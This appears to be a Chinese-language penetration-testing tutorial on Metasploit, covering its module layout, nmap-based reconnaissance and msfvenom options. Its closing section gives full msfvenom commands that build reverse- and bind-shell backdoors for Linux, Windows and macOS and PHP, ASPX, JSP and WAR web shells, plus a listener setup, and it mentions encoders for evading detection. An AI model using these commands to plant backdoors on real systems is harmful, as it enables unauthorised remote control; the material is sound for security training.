一、metasploit框架介绍

metasploit是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并且还在持续保持更新

该工具在kali上的路径是:/usr/share/metasploit-framework/,目录:

  1. data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件
  2. documentation:包含框架的可用文档
  3. lib:metasploit的库文件夹
  4. plugins:用来存放metasploit的脚本,包括meterpreter及其他脚本
  5. tools:存放多种的命令行实用程序
  6. modules:存储metasploit的模块文件

其中的modules目录:

  1. auxiliary:辅助模块,辅助渗透(端口扫描、登陆密码爆破、漏洞验证等)
  2. exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:操作系统/各种应用协议分类
  3. payloads:有效攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码
  4. post:后渗透阶段模块,漏洞利用成功后获得meterpreter之后,向目标发送的一些功能性指令,如:提权等
  5. encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统
  6. evasion:躲避模块,用来生成免杀payload
  7. nops:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串(NOPS x90x90…)则会因为被拦截而导致攻击失效

二、信息收集

1、进入metasploit框架

  1. msfconsole:进入框架
  2. msfdb init:初始化、连接数据库
  3. db_status:查看是否成功连接到数据库
  4. workspace:当前工作区
  5. workspace -h:帮助命令

2、内网主机发现

  1. db_nmap:nmap扫描,"db"指将扫描结果存入数据库
  2. -PA:TCP ACK PING扫描
  3. -PS:TCP SYN PING扫描
  4. -PR:ARP扫描是nmap对目标进行一个arp ping扫描的过程,尤其在内网的情况下。因为防火墙不会禁止ARP请求
  5. hosts:列出当前工作区扫描出来的所有主机

3、端口、服务、版本探测

  1. db_nmap:nmap扫描
  2. -T[0-5]:默认为T3,T4表示最大TCP扫描延迟为10ms
  3. -sS:TCP SYN扫描
  4. -sY:TCP SYN扫描
  5. -A:打开操作系统探测和版本探测

4、检查是否具有常见漏洞

  1. db_nmap:nmap扫描
  2. --script=vuln:检查是否有常见漏洞

三、msfvenom实战

1、msfvenom介绍

msfvenommsfpayloadmsfencode的组合,将这两个工具集成在一个框架实例中。

msfvenom是一个用来生成后门的软件,在目标机上执行后门,在本地监听上线。

监听模块:use exploit/multi/handler

快速建立监听:handler -H <Your IP Address> -P <Your Port to connect> -p <parload>

2、msfvenom基本参数

  1. -P(--payload):指定特定的Payload ,如果被设置为- , 那么从标准输入流中读取
  2. -l(--list):列出所有可用的项目,其中值可以被设置为payloads, encoders, nops, all
  3. -n(--nopsled):指定nop在payload中的数量
  4. -f(--format):指定Payload的输出格式( --list formats :列出所有可用的输出格式)
  5. -e(--encoder):指定使用的encoder
  6. -a(--arch):指定目标系统架构
  7. --platform:指定目标系统平台
  8. -s(--space):设置未经编码的Payload的最大长度( --encoder-space :编码后的Payload的最大长度)
  9. -b(--bad-chars):设置需要在Payload中避免出现的字符,例如: ‘\0f’、 \x00’等
  10. -i(--iterations):设置Payload的编码次数
  11. --smallest:尽可能生成最短的Payload
  12. -o(--out):保存Payload到文件
  13. -c(--add-code):指定-个附加的win32 shellcode文件
  14. -x(--template):指定一个特定的可执行文件作为模板
  15. -k(--keep):保护模板程序的功能,注入的payload作为一个新的进程运行

3、实战

payload理解

  1. single:是一种完全独立的Payload ,将完整的payload都编译在木马中,体积庞大不灵活,而且容易被杀。如: meterpreter reverse. _tcp
  2. stager:负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段。如: reverse_tcp、bind_tcp
    • 作用①:允许我们使用较小的有效载荷去加载具有更多功能的较大的payload
    • 作用②:使通信机制与最终阶段分离成为可能
  3. stage:提供更高级的功能,且没有大小限制(因为stager为stage分配了大量内存)如:meterpreter

stagerstage就像web入侵里面提到的小马和大马一样,由于攻击利用环境的限制,可能不能一下子把stage传过去 ,需要先传一个stagerstagerattackertarget之间建立网络连接,之后再把stage传过去进行下一步的行动。 需要说明的是meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令,经常出现什么sending stager error,如果网络真的很差的话,可以选用stageless meterpreter

(1)msfvenom生成可执行程序payload

  • Linux:

    反向连接:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= <Your IP Address> LPORT= <Your Port to Connect On> -f elf -o /root/Desktop/shell.elf

    正向连接:msfvenom -p linux/x86/meterpreter/bind_tcp LPORT= <Your Port to ConnectOn> -f elf -o /root/Desktop/shell.elf

  • Windows:

    反向连接:msfvenom -p windows/meterpreter/reverse_tcp LHOST= <Your IP Address> LPORT= <Your Port to Connect On> -f exe -o /root/Desktop/shell.exe

  • Mac:

    反向连接:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT= <Your Port to Connect On> -f macho -o /root/Desktop/shell.macho

(2)msfvenom生成web payload

  • php:msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT= <Your Port to Connect On> -f raw -o /root/Desktop/shell.php
  • asp:msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= <Your IP Address> LPORT= <Your Port to Connect On> -f aspx -o /root/Desktop/shell.aspx
  • jsp:msfvenom -p java/jsp_shell_reverse_tcp LHOST= <Your IP Address> LPORT= <Your Port to Connect On> -f raw -o /root/Desktop/shell.jsp
  • war:msfvenom -p java/jsp_shell_reverse_tcp LHOST= <Your IP Address> LPORT= <Your Port to Connect On> -f war -o /root/Desktop/shell.war